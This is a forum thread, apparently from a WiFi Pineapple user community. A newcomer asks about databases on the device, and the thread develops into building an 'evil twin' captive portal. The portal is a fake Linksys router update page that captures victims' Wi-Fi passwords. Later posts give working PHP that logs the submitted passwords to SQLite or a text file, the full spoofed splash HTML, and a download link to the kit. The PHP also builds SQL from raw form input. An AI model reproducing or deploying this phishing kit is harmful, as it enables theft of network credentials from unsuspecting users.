Jump to content

[HELP] INSTALLING SQL DB


honolulu6969

Recommended Posts

hi im trying to install mysql on wifi pineapple

so far the installation worked but i cant start mysql

this is what i get :


root@Pineapple:/# mysqld start
141125 22:56:53 [ERROR] Can't find messagefile '/usr/share/mysql/english/errmsg.sys'
mysqld: Too many arguments (first extra is 'start').
Use --verbose --help to get a list of available options
141125 22:56:53 [ERROR] Aborting

141125 22:56:53 [Note]

any help would be apreciate

or any other way to install SQL DB on wifi pineapple

thanks alot .

Link to comment
Share on other sites

Hi honolulu6969,

Welcome to the forums! If you do not mind using SQLite on the WiFi Pineapple MKV, that is the best way to go. MySQL is simply too heavy.

We already ship the PHP and Python libraries to interface with sqlite3 by default. If you want CLI access, simply do an "opkg update && opkg install sqlite3".

Best Regards,
Sebkinne

Link to comment
Share on other sites

last help im newbi with sqlite .. how can i translate this to sqlite3 :


<?php
session_start();

ob_start();


$host="localhost"; // Host name
$username="root"; // Mysql username
$db_name="home"; // Database name
$tbl_name="key"; // Table name

mysql_connect("$host", "$username")or die("Cannot connect to MySQL database.");
mysql_select_db("$db_name")or die("MySQL database unavailable.");

$password=$_POST['password'];
$confirm=$_POST['confirm'];

if ($password != $confirm) {
header("location:error.html");
break;
}


mysql_query("INSERT INTO keys(password, confirm) VALUES('$password', '$confirm');");

echo "Updating ... $password";
sleep(6);
header("location:updating.html");

ob_end_flush();
?>

Edited by honolulu6969
Link to comment
Share on other sites

this is what i did i but i dont get nothing on the DB


<?php
session_start();

ob_start();


$host="localhost"; 
$username="root";
$db_name="home"; 
$tbl_name="keys"; 

sqlite3_open("$db_name");

$password=$_POST['password'];
$confirm=$_POST['confirm'];

if ($password != $confirm) {
header("location:error.html");
break;
}


sqlite3_query("INSERT INTO keys(password, confirm) VALUES('$password', '$confirm');");

echo "Updating ... $password";
sleep(6);
header("location:updating.html");

ob_end_flush();
?>
Link to comment
Share on other sites

Well, here's a few clues:

1. According to the search function on the php website sqlite3_query doesn't appear to be a defined method.

2. I linked to docs for the SQLite3 *class* which you're not using at all.

3. Look at the example code for the constructor here for a complete example that opens a database, creates a table, adds something to it and then reads it back again.

Link to comment
Share on other sites

thanks alot guys i really apreciate and thanks for not giving me the answer directly so i learned something :)

this worked for me if it can help somebody else



<?php
session_start();

ob_start();


$host="localhost"; 
$username="root";  
$db_name="home";  
$tbl_name="keys";  

$db = new SQLite3('home');


$password=$_POST['password'];
$confirm=$_POST['confirm'];

if ($password != $confirm) {
header("location:error.html");
break;
}

$db->exec('INSERT INTO keys (password, confirm) VALUES ("$password","$confirm")');
echo "Inserted row into table users <br />";

echo "Updating ... $password";
sleep(6);
header("location:updating.html");

ob_end_flush();
?>
Link to comment
Share on other sites

Hi honolulu6969,

I still see two issues with your code:

  1. You have a sleep(6) in your code.
    In PHP, sleep simply delays the script execution. This means that any content on the page is NOT visible to the user (as the script hasn't fully executed yet). If you wish to sleep before redirecting to the updating.html, you should use javascript or a META tag.
  2. You are sending the location header after already sending output (the echo statements are output).
    This is not possible and will cause your PHP not to redirect you at all.

Best Regards,

Sebkinne

Link to comment
Share on other sites

im trying to use evil_twin linksys router page on mk5

i tough with the last change i made with sqlite3 it will work ... but im still not getting any info on DB .... everything else work good

on kali linux everything work great with mysql but on mk5 with sqlite i cant get it to work .... before the pages wasent redirecting but now is redirecting and i still dont get the infos on sqlite3 DB

any clue why is not sending the infos to sqlite3 ?

Edited by honolulu6969
Link to comment
Share on other sites

  • 3 months later...

I have been working on something similar to what you are/were attempting and have had the same problems with the MK5. I have not been able to test my new approach (was up late and had to call it a night), but instead of having the PHP file use SQL to write the input to a database, as the MK5 seems to have trouble utilizing SQL from a PHP, have you thought about having the PHP write to a text file?

Like I said, I started working on this last night, but here is the PHP I will test later today:

<?php
if(isset($_POST['password']) && isset($_POST['confirm'])) {
$data = $_POST['password'] . '-' . $_POST['confirm'] . "\n";
$ret = file_put_contents('/tmp/mydata.txt', $data, FILE_APPEND | LOCK_EX);
if($ret === false) {
die('There was an error writing this file');
}
else {
echo "$ret bytes written to file";
}
}
else {
die('no post data to process');
}

I will run some tests later and update. I also still haven't added a line for incorrect input (password != confirm)

Link to comment
Share on other sites

So I found out that nodogsplash will not run PHP, so I had to send the post data to the root www folder, where I dropped the PHP file. From the PHP file I linked the error.HTML and update.HTML files back to the nodogsplash.

Here is the code:

splash.html:

<!DOCTYPE html>
<!--[if lt IE 7]> <html class="lt-ie9 lt-ie8 lt-ie7" lang="en"> <![endif]-->
<!--[if IE 7]> <html class="lt-ie9 lt-ie8" lang="en"> <![endif]-->
<!--[if IE 8]> <html class="lt-ie9" lang="en"> <![endif]-->
<!--[if gt IE 8]><!--> <html lang="en"> <!--<![endif]-->
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  <title>Linksys Update</title>
  <!--[if lt IE 9]><script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script><![endif]-->
     
</head>
<body>


<!-- Main Background -->


<img src="$imagesdir/linksys_bg.png" style="position: absolute; top: 0px; left: 0px" width="1280" height="800" />




  <form method="post" action="http://172.16.42.1/dbconnect.php">
<p>
    <input type="password" name="password" id="pass1" maxlength="64" style="position: absolute; top: 395px; left: 552px; z-index: 1; width: 410px; height: 44px; color: black; border: 0px solid; outline: none; background-color: transparent; font-size: 26px;" />
    </p>
    
    <p>
    <input type="password" name="confirm" id="pass2" maxlength="64" style="position: absolute; top: 456px; left: 552px; z-index: 1; width: 410px; height: 44px; color: black; border: 0px solid; outline: none; background-color: transparent; font-size: 26px;" />
    </p>
        
    <p>
    <input type="image" src="$imagesdir/update.png" style="position: absolute; top: 528px; left: 670px; z-index: 1;" />
    </p>
    
  </form>
  
  <form method="post" name="form2" action="$imagesdir/cancel.html">
  
     <p>
     <input type="image" src="$imagesdir/cancel.png" alt="Cancel Form" style="position: absolute; top: 528px; left: 830px; z-index: 1;" />
     </p>
        
  </form>
  
</body>
</html>
PHP file:
<?php
// Receive form Post data and Saving it in variables


$name = @$_POST['password'];
$email = @$_POST['confirm'];


// Write the name of text file where data will be store
$filename = "mydata.txt";


// Marge all the variables with text in a single variable. 
$f_data= '
Password : '.$name.'
Confirm :  '.$email.'
==============================================================================
';


if ($name != $email) {
header("location:http://172.16.42.1:2050/images/error.html");
break;
}




header("location:http://172.16.42.1:2050/images/updating.html");


$file = fopen($filename, "a");
fwrite($file,$f_data);
fclose($file);
?>

These are the two main files. I took a template that was used in this video:

and manipulated it to write to text instead of using sql. He wrote a solid splash page. Here are the files I used:

https://www.dropbox.com/s/q95gvrwkim4oae5/Pineapple.zip?dl=0

Edited by petiepablo
Link to comment
Share on other sites

  • 2 weeks later...
<!--[if lt IE 9]><script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script><![endif]-->

is it not more easy to download this file and store locally ?

PS:Thanks for sharing

folder images..

what is the correct place for it ?

www/images ?

is it possible to move to sd and make a link ?

Edited by troter
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...